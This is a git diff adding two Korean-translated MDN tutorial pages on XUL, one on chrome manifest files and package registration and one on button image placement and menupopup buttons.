+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/manifest_files/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/manifest_files/index.html
new file mode 100644
index 0000000000..bf2e970432
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/manifest_files/index.html
@@ -0,0 +1,118 @@
+---
+title: Manifest Files
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Manifest_Files
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Manifest_Files
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:The_Chrome_URL" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Creating_a_Window">다음  »</a></p>
+</div><p></p>
+<p><br>
+ 이번 섹션에서는 꾸러미에 chrome과 XUL 파일을 넣는 방법과 꾸러미를 위한 선언 파일(manifest file)을 생성하는 방법에 대해 알아 보겠습니다.</p>
+<h3 id=".EA.BE.B8.EB.9F.AC.EB.AF.B8" name=".EA.BE.B8.EB.9F.AC.EB.AF.B8">꾸러미</h3>
+<p>꾸러미는 사용자 인터페이스의 기능을 정의하는 XUL 파일과 스크립트의 집합입니다. 꾸러미는 모질라에 설치될 수 있으며, chrome URL로 참조될 수도 있습니다. 꾸러미는 어떤 종류의 파일도 포함할 수 있고, 필요한 경우에는 꾸러미의 여러 부분을 하위 디렉토리에 나누어 담을 수도 있습니다. 꾸러미는 디렉토리나 JAR 아카이브로 저장될 수 있습니다.</p>
+<h3 id=".EC.84.A0.EC.96.B8_.ED.8C.8C.EC.9D.BC" name=".EC.84.A0.EC.96.B8_.ED.8C.8C.EC.9D.BC">선언 파일</h3>
+<p>선언 파일은 꾸러미를 설명하고 꾸러미의 디스크에서의 위치와 chrome URL을 연결하는데 사용됩니다. Mozilla 응용 프로그램이 시작될 때 어떤 꾸러미들이 설치되어 있는지 확인하기 위해 chrome 디렉토리에 있는 선언 파일을 검사합니다. 이것은 새로운 꾸러미를 설치하기 위해 여러분이 해야 할 작업은 새로운 선언 파일을 어플리케이션 chrome 디렉토리나 사용자 chrome 디렉토리에 추가하는 것 뿐이라는 것을 의미합니다. 후자의 chrome 디렉토리는 보통 어플리케이션 디렉토리에 쓰기 권한이 없을 수 있기 때문에 사용되는 방법입니다.</p>
+<p>만일 여러분이 권한이 있는 XUL 코드를 Firefox 브라우저에서 테스트 하려고 한다며, 다음의 절차와 같이 한줄만 있는 선언 파일을 가지고 쉽게 할 수 있습니다.</p>
+<ol>
+ <li>어딘가에 새로운 디렉토리를 생성하세요. 예를 들어, Windows일 경우 C:\testfiles일 수 있겠습니다.</li>
+ <li>Chrome 디렉토리에 test.manifest라는 이름을 가진 새로운 <b>ASCII</b><sup>1</sup> 파일을 만드세요. 파일은 .manifest라는 확장자를 가지기만 하면 어떤 이름이든 상관 없습니다. <sup>(1. BOM을 가진 UTF-8은 작동하지 않습니다.)</sup></li>
+ <li>선언 파일에 다음 라인을 추가하세요.</li>
+</ol>
+<pre class="eval"> content tests <a class="external" rel="freelink">file:///C:/testfiles/</a>
+</pre>
+<p>위 라인상의 파일 경로는 앞서 생성한 디렉토리를 가리켜야 합니다. 파일 경로를 정확히 모를 경우에는 브라우저에서 해당 경로를 열고 주소 영역에서 URL을 복사하세요.</p>
+<p>이게 답니다! 이제 여러분이 새로운 디렉토리에 몇 가지 XUL 파일들을 추가만 하면, <a class="external" rel="freelink">chrome://tests/content/</a>&lt;filename&gt; 형식으로 chrom URL을 입력하여 해당 파일을을 로드할 수 있을 것입니다. 물론 변경된 내용을 반영하기 위해서는 브라우저를 재시작 해야 합니다. 만일 파일이 로드되지 않는다면, 파일 경로가 정확한지 확인하세요.</p>
+<p>내용(content) 꾸러미를 위한 선언 파일 라인의 기본 구문은 다음과 같습니다.</p>
+<p>'content &lt;packagename&gt; &lt;filepath&gt;'</p>
+<p>첫 번째 필드인 'content'는 내용(content) 꾸러미라는 것을 나타냅니다. 테마일 경우에는 'skin'을 쓰고, 로케일인 경우에는 'locale'을 사용합니다. 위 예제에서 packagename은 'tests'이고, 이것은 <a class="external" rel="freelink">chrome://tests/content/sample.xul의</a> chrome URL 첫번째 필드가 'tests'라는 것을 의미합니다. 만일 꾸러미 이름이 'browser'였다면 chrom URL은 <a class="external" rel="freelink">chrome://browser/content/가</a> 될 수 있습니다. 마지막 필드는 파일들이 위치한 경로 입니다. 이것은 파일 URL을 사용한 로컬 파일 경로이거나 jar URL을 사용한 JAR 아카이브(archive) 일 수 있습니다. JAR 아카이브에 대해서는 잠시 후에 설명할 것입니다. 선언 파일에 또 다른 라인을 포함하여 여러개의 꾸러미를 명시할 수도 있습니다.</p>
+<p>Firefox에서 사용하는 browser.manifest 파일은 다음과 같습니다.</p>
+<pre>content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes
+content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes
+overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://browser/content/pageInfo.xul chrome://pippki/content/PageInfoOverlay.xul
+</pre>
+<p>여기에는 'branding'과 'browser' 두 개의 꾸러미가 나열되어 있습니다. 또 세 개의 overlays가 명시되어 있는데, 이는 다른 꾸러미의 내용(content)이 함께 조합될 수 있게 해 줍니다. 확장기능들은 대부분 브라우저의 UI와 확장기능의 UI가 병합(merge)되기 때문에 overlays를 사용하게 됩니다.</p>
+<p>branding과 browser 꾸러미의 파일 경로는 content가 아카이브로 꾸려져 있기 때문에 jar URL을 사용하고 있습니다. JAR 아카이브는 ZIP 유틸리티를 이용해 생성할 수 있습니다. Chrome 디렉토리에 위치한 JAR 파일인 경우에는 다음과 같이 아주 간단합니다.</p>
+<p>jar:&lt;filename.jar&gt;!/&lt;path_in_archive&gt;</p>
+<p>browser 꾸러미에서 아카이브는 browser.jar이며 chrome 디렉토리에 선언 파일과 함께 위치합니다. 'content/browser' 경로는 XUL 파일이 위치한 아카이브 내의 경로를 나타냅니다. 만일 아카이브 내에 어떤 경로도 존재하지 않을 경우에는 경로를 명시할 필요가 없습니다. 여기서는 하나의 아카이브에 branding 꾸러미가 다른 경로로 저장되어 있으므로 명시되어 있습니다.</p>
+<p>위에서 생성한 'tests' 꾸러미의 경우, 아카이브로 파일을 꾸리지 않았기 때문에 파일 경로가 직접 사용되었습니다. 개발시에는 변경이 발생할 때마다 매번 모든 파일을 꾸릴 필요가 없기 때문에, 이렇게 하는 것이 좋습니다. 그러나 응용프로그램이나 확장기능으로 배포할 경우에는 조그만 다수의 파일을 설치해야 하는 번거로움을 피하기 위해 하나의 아카이브로 묶길 원할 것입니다.</p>
+<p>선언 파일의 라인 끝에 있는 xpcnativewrappers=yes 부분은 선택적으로 사용되는 플래그입니다. 자바스크립트에서는 웹 페이상에서 있는 코드가 내장(built-in) 함수를 재정의(override) 할 수 있습니다. 만일 xpcnativewrappers 플래그(flag)가 명시되어 있다면, 권한이 부여된 컨텍스트(privileged context)에서 실행되는 스크립트는 재정의된 함수가 아닌 원래의 내장 함수를 호출한다는 것을 의미합니다. 플래그 없이 확장기능이 수정된 버전의 함수를 호출하려고 하면 제대로 작동하지 않을 수도 있고, 더욱이 보안 구멍이 생겨날 수 있습니다. 이 플래그는 이러한 문제점을 방지하기 위해 추가되었으며, 새로운 확장 기능들에서는 항상 사용하는게 좋습니다. 그러나 이러한 변화에 호환되지 않는 오래된 학장기능들에서는 무시됩니다. 이 기능에 대한 자세한 정보는 <a href="ko/XPCNativeWrapper">XPCNativeWrapper</a>를 참조하세요.</p>
+<h3 id=".ED.85.8C.EB.A7.88.EC.99.80_.EB.A1.9C.EC.BC.80.EC.9D.BC" name=".ED.85.8C.EB.A7.88.EC.99.80_.EB.A1.9C.EC.BC.80.EC.9D.BC">테마와 로케일</h3>
+<p>테마와 로케일에서의 구문은 내용 꾸러미와 유사하지만, 여러분은 테마나 로케일을 제공할 내용 꾸러미를 명시해야 할 필요가 있습니다.</p>
+<pre>skin browser classic/1.0 jar:classic.jar!/skin/classic/browser/
+locale browser en-US jar:en-US.jar!/locale/browser/
+</pre>
+<p>위의 예에서 browser에 스킨과 로케일을 적용한다는 것을 나타내기 위한 특별한 필드가 추가되었습니다. 스킨 이름은 'classic/1.0'입니다. 이 경우에 테마 이름의 일부분으로 버전 번호가 사용되었지만, 여러분의 테마를 만들 경우에는 선택적인 사항입니다. Mozilla는 버전 번호를 특별한 방법으로 처리하지 않습니다. 위의 경우 버전 번호는 그냥 테마 이름의 일부분일 뿐입니다. 로케일은 'en-US'입니다. 이것들을 연결하는 chrome URL은 <a class="external" rel="freelink">chrome://browser/skin과</a> <a class="external" rel="freelink">chrome://browser/locale일</a> 수 있습니다. 여러분의 테마나 로케일을 작성할 경우에는 위의 두 줄중 하나를 가진 선언 파일을 생성하고 테마나 로케일에 맞게 수정하기만 하면 됩니다.</p>
+<p>테마에 대한 자세한 정보는 <a href="ko/Themes">Themes</a>를 참조하시고 로케일에 대한 자세한 정보는 <a href="ko/Localization">Localization</a>을 참조하세요.</p>
+<div class="highlight">
+ <h3 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90_.EC.98.88.EC.A0.9C" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90_.EC.98.88.EC.A0.9C">우리의 파일 찾기 대화상자 예제</h3>
+ <p>이제 우리가 작성하려고 하는 파일 찾가 대화 상자를 위한 선언 파일을 만들어 보도록 하겠습니다. 원한다면 세 가지 타입을 하나의 파일에 넣을 수 있습니다. 모든 부분(content, skin, locale)이 하나의 파일에 포함되는 확장 기능을 작성할 때 보통 이렇게 합니다. 파일 찾기 대화상자에서는 이러한 방법을 사용할 것입니다. Chrome 디렉토리에 findfile.manifest 파일을 생성하고 다음의 내용을 추가하세요.</p>
+ <pre>content findfile file:///findfile/content/
+skin findfile classic/1.0 file:///findfile/skin/
+locale findfile en-US file:///findfile/locale/
+</pre>
+ <p>위에서 열거된 새로운 디렉토리들을 생성하세요. 디렉토리를 어디에 생성하는지에는 상관이 없지만 선언 파일에서 명시한 파일 경로는 반드시 해당 디렉토리를 가리켜야 합니다. 당연히 여러분의 시스템에 맞는 디렉토리 경로를 사용하면 됩니다. 만일 꾸러미를 배포할 경우에는 JAR 파일로 묶길 원할 수도 있고 그렇게 되면 경로를 수정해야 합니다. 이번 경우에는 선언 파일에 대해 설명하고 다음 섹션에서 볼 예제를 위한 디렉토리를 준비할 목적으로 생성할 것입니다.</p>
+ <p>스킨과 로케일 줄의 두번째 필드가 'findfile'로 명시되었다는 것을 확인하세요. 이것은 스킨과 로케일이 첫 번째 줄에서 명시한 findfile 꾸러미를 수정한다는 것을 의미합니다. 위의 세 가지 경로는 각 부분을 위한 하위 디렉토리를 명시합니다. 여러분은 각 부분에 해당하는 파일을 분리하여 관리하기 위해 하위 디렉토리를 작성하길 원할 것입니다.</p>
+</div>
+<h3 id=".EA.BE.B8.EB.9F.AC.EB.AF.B8_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0" name=".EA.BE.B8.EB.9F.AC.EB.AF.B8_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0">꾸러미 설치하기</h3>
+<p>응용 프로그램을 설치하기 위해서는 설치 프로그램을 만들거나 다른 응용 프로그램에 포함시킬 필요가 있습니다. 어떤 방법을 사용할 것인지는 여러분이 작성하는 응용 프로그램의 종류에 따라 달라집니다. 확장 기능일 경우에는 설치 파일인 <a href="ko/Install_Manifests">install.rdf</a>를 작성해야 하는데, 이는 어떤 것들을 설치할 것인지, 확장기능의 제작자가 누구인지, 호환되는 브라우저 버전이나 응용프로그램 등과 같은 내용을 포함하고 있습니다. 또한 확장 기능은 파일이 설치되는 장소에 제약이 있으므로 <a href="ko/Bundles">고유의 디렉토리 구조</a>를 필요로 합니다. 확장 기능은 <a href="ko/XPI">XPI</a> 파일로 꾸려지게 됩니다. XPI는 <a href="ko/XPInstall">XPInstall</a>의 약자로 Mozilla에서 컴포넌트를 설치할 때 사용됩니다. JAR 파일과 마찬가지로 XPI 파일도 확장자만 다른 ZIP 파일 이기 때문에 ZIP 유틸리티로 보거나 생성할 수 있습니다.</p>
+<p>Firefox의 확장 기능 관리자는 XPI 파일로 꾸려져 있는 확장 기능의 설치를 자동으로 처리해 줍니다. 작성한 확장 기능은 사용자들이 설치를 위해 위치할 수 있는 <a class="link-https" href="https://addons.mozilla.org/">Mozilla Add-ons site</a>로 업로드 할 것을 권장합니다. 어떤 사이트에서나 설치할 수는 있지만, 특정 사이트는 기본적으로 설치가 허가되지 않도록 되어 있을 수 있습니다.</p>
+<p>파일들을 설치하기 위해서는 JavaScript로 작성된 스크립트를 이용할 수도 있습니다. 이러한 방법은 아무 위치에나 파일을 복사할 수 있으며, 다른 방법의 파일 관리 작업을 수행할 수 있게 해 줍니다. 그러나 스크립트로 설치된 응용프로그램은 확장 기능 관리자에 표시되지 않을 것이고, 따라서 자동화된 설치 해제 방법이 존재하지 않습니다. 이런 이유로 설치 스크립트는 잘 사용되지 않습니다.</p>
+<p>독립형 응용 프로그램일 경우에는 XULRunner를 사용하여 꾸려질 수 있습니다. 이렇게 하면 별도의 실행 파일이 가능하며, 브라우저와는 독립적으로 응용 프로그램을 배포할 수 있습니다.</p>
+<p>확장기능을 작성하는 좀 더 자세한 정보는 <a href="ko/Extensions">Extensions</a>을 참조하시고, XULRunner에 대한 상세한 정보는 <a href="ko/XULRunner">XULRunner</a>를 참조하세요.</p>
+<h3 id=".EC.98.A4.EB.9E.98.EB.90.9C_.EC.96.B4.ED.94.8C.EB.A6.AC.EC.BC.80.EC.9D.B4.EC.85.98" name=".EC.98.A4.EB.9E.98.EB.90.9C_.EC.96.B4.ED.94.8C.EB.A6.AC.EC.BC.80.EC.9D.B4.EC.85.98">오래된 어플리케이션</h3>
+<p>만일 Mozilla 소프트웨어의 옛 버전(Firefox 1.5나 Mozilla 1.8 이전 버전)을 위한 응용 프로그램을 작성할 경우에는 좀 더 많은 단계가 추가됩니다. 다음은 옛 버전을 위한 꾸러미를 설정하는 방법에 대해 설명합니다. 여러분이 새로운 확장기능이나 XUL 응용 프로그램을 작성할 경우에는 본 섹션을 건너 뛰어도 됩니다.</p>
+<div class="note">
+ <b>주의</b>: 언급되는 예전 절차는 새로운 SeaMonkey 1.0에도 적용됩니다. SeaMonkey 1.0의 코드베이스는 아직 "선언" 포맷을 채택하지 않고 있습니다.</div>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+         xmlns:chrome="<span class="nowiki">http://www.mozilla.org/rdf/chrome#</span>"&gt;
+
+  &lt;RDF:Seq about="urn:mozilla:package:root"&gt;
+    &lt;RDF:li resource="urn:mozilla:package:<span class="highlightred">myapplication</span>"/&gt;
+  &lt;/RDF:Seq&gt;
+
+  &lt;RDF:Description about="urn:mozilla:package:<span class="highlightred">myapplication</span>"
+          chrome:displayName="<span class="highlightblue">Application Title</span>"
+          chrome:author="<span class="highlightblue">Author Name</span>"
+          chrome:name="<span class="highlightred">myapplication</span>"
+          chrome:extension="true"/&gt;
+
+&lt;/RDF:RDF&gt;
+</pre>
+<pre class="eval">content,install,url,<span class="highlightred"><a class="external" rel="freelink">file:///main/app/</a></span>
+</pre>
+<ol>
+ <li>Create a directory somewhere on your disk. Many people put this as a subdirectory inside Mozilla's chrome directory, but this isn't necessary. The directory could be anywhere and on any disk. Put your XUL files in this directory.</li>
+ <li>Create a file called contents.rdf and place it in this directory. Copy the text in the box below into the new contents.rdf file. This file is used to identify the application id, its name, author, version and so on.</li>
+ <li>Change the highlighted parts of the file above to your own information. The red text 'myapplication' should be the ID of your application. You make this up, but typically, the ID is similar to your application's name. Replace the blue highlighted text above with your application's title and author.</li>
+ <li>If the 'chrome:extension' field is true, the application is a Mozilla Firefox Extension and it will show up in the Extensions window of the browser. If false, it will not appear.</li>
+ <li>Save the contents.rdf and make sure it is in the directory you created in step 1.</li>
+ <li>Open the file &lt;mozilla-directory&gt;/chrome/installed-chrome.txt, where &lt;mozilla-directory&gt; is the directory where Mozilla is installed. Exit Mozilla before you do this.</li>
+ <li>Next, you are going to register the new application with Mozilla so it will know where to find it. Add a line at the end of installed-chrome.txt pointing to the new directory you created in step 1. Change the highlighted text to the file URL below of the directory. Make sure that it URL ends with a slash and that you press enter at the end of the line. If you aren't sure what the URL is, open the directory created in step 1 into a Mozilla browser and copy the URL from the location field. Note that the reference should always be a directory, not a file.</li>
+ <li>Delete the file &lt;mozilla-directory&gt;/chrome/chrome.rdf.</li>
+ <li>Start Mozilla. You should be able to view any XUL files you put into the directory using a URL of the form: <b><a class="external" rel="freelink">chrome://</a><span class="highlightred">applicationid</span>/content/file.xul</b> where file.xul is the filename. Your main XUL file should be applicationid.xul which you can load using the shortcut URL <b><a class="external" rel="freelink">chrome://</a><span class="highlightred">applicationid</span>/content/</b>.</li>
+</ol>
+<p>If you are creating skin and/or locale portions, repeat the steps above, except that the format of the contents.rdf file is slightly different. Look at the contents.rdf files in other applications for details.</p>
+<h3 id=".EB.AC.B8.EC.A0.9C_.ED.95.B4.EA.B2.B0" name=".EB.AC.B8.EC.A0.9C_.ED.95.B4.EA.B2.B0">문제 해결</h3>
+<p>Chrome 꾸러미를 작성하는 것은 종종 꼼수가 필요하고, 문제 발생의 원인을 찾기가 어려울 수 있습니다. 여기에서는 여러분들이 작업을 시작하는데 있어서의 몇 가지 팁을 제공하고자 합니다.</p>
+<ul>
+ <li>&lt;mozilla 디렉토리&gt;/chrome/chrome.rdf 파일을 열어보세요. 아마 여러분의 어플리케이션 ID에 대한 참조를 찾을 수 있을 것입니다. 발견할 수 없을 경우에는 등록이 잘못된 것입니다. 만약 참조를 발견하셨다면 아마도 파일을 로드할 때 chrome URL을 잘못 사용했을 것입니다.</li>
+ <li>&lt;mozilla 디렉토리&gt;/chrom/chrome.rdf 파일을 삭제해 보세요. 그 파일은 다시 생성됩니다. 또한 만약 overlays를 사용한다면 &lt;mozilla 디렉토리&gt;/chrome/overlayinfo/ 디렉토리 전체를 삭제해 보세요.</li>
+ <li>Make sure that the URL in the line you added to installed-chrome.txt ends with a slash and the file itself ends with a blank line.</li>
+ <li>윈도우즈에서는 파일 URL이 <a class="external" rel="freelink">file://C/files/app/</a> 형식이어야 하며, 여기서 C는 드라이브 문자입니다.</li>
+ <li>contents.rdf 파일이 올바른 디렉토리에 존재하며 바른 형태(well-formed)인지를 확인 하십시요. Mozilla에서 contents.rdf 파일을 열어, 바른 형태의 XML로 구문 분석되는지 보세요. 그렇지 않다면 노란 배경에 오류가 보일것입니다.</li>
+ <li>여러분이 Mozilla 디버그 빌드(debug build)를 사용하고 있다면, 시작시에 어떤 chrome 어플리케이션이 검사되는지를 나타내는 몇 가지 정보가 터미널에 출력될 것입니다. 여러분이 작성한 어플리케이션이 목록상에 나타나는지 확인하세요.</li>
+ <li>XUL 파일 내 "XML Parsing Error: undefined entity"라는 오류 메시지는 선언 파일의 오류이거나 선언 파일에서 참조하는 jar 파일상의 오류에 의해 발생할 수 있습니다. 예를 들어 &lt;!DOCTYPE window SYSTEM "<a class="external" rel="freelink">chrome://fireclipse/locale/fireclipse.dtd</a>"&gt;에서의 dtd 파일은 반드시 존재해야 하고 디렉토리도 "로케일" 선언 파일에서 정확히 언급되어 있어야만 하며, 만일 그렇지 않다면 XML 구문분석이 실패할 것입니다.</li>
+</ul>
+<p>선언 파일에 대한 좀더 자세한 정보는 <a href="ko/Chrome_Registration">Chrome Registration</a>를 참조하세요.</p>
+<p>다음 섹션에서는 XUL 언어에 대해 좀 더 자세히 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:The_Chrome_URL" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Creating_a_Window">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/more_button_features/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/more_button_features/index.html
new file mode 100644
index 0000000000..a34556a984
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/more_button_features/index.html
@@ -0,0 +1,69 @@
+---
+title: More Button Features
+slug: Mozilla/Tech/XUL/XUL_Tutorial/More_Button_Features
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Button_Features
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Using_Spacers" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:The_Box_Model">다음  »</a></p>
+</div><p></p>
+<p>이번 단원에서는 버튼의 부가적인 기능들에 대해 알아 보겠습니다.</p>
+<h3 id=".EA.B7.B8.EB.A6.BC_.EB.84.A3.EA.B8.B0" name=".EA.B7.B8.EB.A6.BC_.EB.84.A3.EA.B8.B0">그림 넣기</h3>
+<p>버튼에 그림을 넣을 때는 <code><code id="a-image"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code></code> 속성에 URL을 지정해 주면 됩니다. 그림은 상대든 절대 URL이든 상관없이 로드되며, 읽어온 그림을 버튼에 표시합니다.</p>
+<p>아래의 버튼은 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code>과 <code><code id="a-image"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code></code>(happy.png)을 모두 포함하고 있습니다. 그림은 라벨의 왼쪽에 표시되는데 다른 두 가지 속성을 이용하여 그림의 위치를 바꿀 수 있습니다. 이에 대해서는 잠시 후에 설명하겠습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_1.xul">View</a></p>
+<pre>&lt;button label="Help" image="happy.png"/&gt;
+</pre>
+<h4 id="CSS.EB.A1.9C_.EA.B7.B8.EB.A6.BC_.EB.84.A3.EA.B8.B0" name="CSS.EB.A1.9C_.EA.B7.B8.EB.A6.BC_.EB.84.A3.EA.B8.B0">CSS로 그림 넣기</h4>
+<p>이미지를 지정하는 또 다른 방법은 버튼에 CSS의 <code>list-style-image</code> 스타일 속성을 이용하는 것입니다. 이 방법은 XUL 파일을 바꾸지 않고도 '스킨'(이 경우는 그림)을 변경할 수 있도록 고안된 것입니다. 예제는 아래와 같습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_2.xul">View</a></p>
+<pre>&lt;button id="find-button"
+  label="Find" style="list-style-image: url('happy.png')"/&gt;
+</pre>
+<p>위의 예에서도 'happy.png'라는 그림이 버튼에 표시됩니다. <code><code id="a-style"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/style">style</a></code></code> 속성은 HTML에서의 style 속성과 비슷하게 동작합니다. 일반적으로, style 속성은 모든 XUL 요소에 사용할 수 있습니다. 스타일 선언은 별도의 스타일 시트에 넣는 것이 좋다는 점을 명심하세요.</p>
+<h3 id=".EA.B7.B8.EB.A6.BC_.EC.9C.84.EC.B9.98_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0" name=".EA.B7.B8.EB.A6.BC_.EC.9C.84.EC.B9.98_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0">그림 위치 지정하기</h3>
+<p>기본적으로 버튼의 그림은 글씨의 왼쪽에 표시됩니다. 그림의 위치를 지정하기 위해서는 두 가지의 속성을 사용할 수 있습니다.</p>
+<p><code><code id="a-dir"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code></code> 속성은 그림과 글씨의 방향을 제어합니다. dir 속성값을 <code>reverse</code>로 지정하면 그림이 글씨의 오른쪽에 출력됩니다. 반대로 <code>normal</code>을 사용하거나 값을 지정하지 않으면 그림은 글씨의 왼쪽에 나타납니다.</p>
+<p><code><code id="a-orient"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></code> 속성을 사용하면 그림과 글씨의 상하 관계를 조정할 수 있습니다. 기본값은 <code>horizontal</code>로 그림이 글자의 왼쪽이나 오른쪽에 표시되도록 합니다. 이 값을 <code>vertical</code>로 지정하면 그림이 글자의 위나 아래에 나타나게 됩니다. 이 때는 <code>dir</code> 속성은 위, 아래의 방향을 지정하기 위해 사용할 수 있는데 <code>normal</code>일 때는 그림이 글씨 위에, <code>reverse</code>일 때는 그림이 글씨 아래에 표시됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_3.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:advbtns1.png"></div>
+<pre>&lt;button label="Left" image="happy.png"/&gt;
+&lt;button label="Right" image="happy.png" dir="reverse"/&gt;
+&lt;button label="Above" image="happy.png" orient="vertical"/&gt;
+&lt;button label="Below" image="happy.png" orient="vertical" dir="reverse"/&gt;
+</pre>
+<p>위의 예제는 앞에서 말한 네 가지 정렬 방식이 모두 사용되었습니다. 기본값을 사용할 때는 위와 같이 속성값을 지정하지 않아도 됩니다.</p>
+<h3 id=".ED.8A.B9.EB.B3.84.ED.95.9C_.EB.82.B4.EC.9A.A9.EC.9D.84_.EA.B0.80.EC.A7.80.EB.8A.94_.EB.B2.84.ED.8A.BC" name=".ED.8A.B9.EB.B3.84.ED.95.9C_.EB.82.B4.EC.9A.A9.EC.9D.84_.EA.B0.80.EC.A7.80.EB.8A.94_.EB.B2.84.ED.8A.BC">특별한 내용을 가지는 버튼</h3>
+<p>버튼 내부에는 임의의 마크업을 포함할 수 있으며 이런것들은 버튼의 안쪽에 표시됩니다. 이 기능을 자주 사용하지는 않겠지만, XUL이 제공하지 않는 사용자 정의 요소(custom element)를 만들 때 유용하게 쓰일 수 있습니다.</p>
+<p>아래는 두 단어가 빨간색인 버튼을 만드는 예입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_4"><a id="%EC%98%88%EC%A0%9C_4"></a><strong>예제 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_4.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_4.xul">View</a></p>
+<pre>&lt;button&gt;
+  &lt;description value="This is a"/&gt;
+  &lt;description value="rather strange" style="color: red;"/&gt;
+  &lt;description value="button"/&gt;
+&lt;/button&gt;
+</pre>
+<p>어떠한 XUL 요소도 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>에 삽입될 수 있습니다. 하지만 HTML 요소들은 무시되기 때문에, 대신 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code>을 사용해야 합니다. 그리고 버튼에 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성값을 지정하면 버튼 내부의 모든 내용이 사라진다는 것에 유념하세요.</p>
+<h4 id="Menupopup.EC.9D.B4_.EC.9E.88.EB.8A.94_.EB.B2.84.ED.8A.BC" name="Menupopup.EC.9D.B4_.EC.9E.88.EB.8A.94_.EB.B2.84.ED.8A.BC">Menupopup이 있는 버튼</h4>
+<p>여러분은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>처럼 버튼을 눌렀을때 드롭 다운 메뉴가 나오도록 하기 위해, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> 요소를 버튼 내부에 넣을 수 있습니다. 이 때 <code><a href="ko/XUL/Attribute/button.type">type</a></code> 속성을 반드시 <code>menu</code>로 지정해야 합니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_5"><a id="%EC%98%88%EC%A0%9C_5"></a><strong>예제 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_5.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advbtns_5.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:advbtns2.png"></div>
+<pre>&lt;button type="menu" label="Device"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Printer"/&gt;
+    &lt;menuitem label="Mouse"/&gt;
+    &lt;menuitem label="Keyboard"/&gt;
+  &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
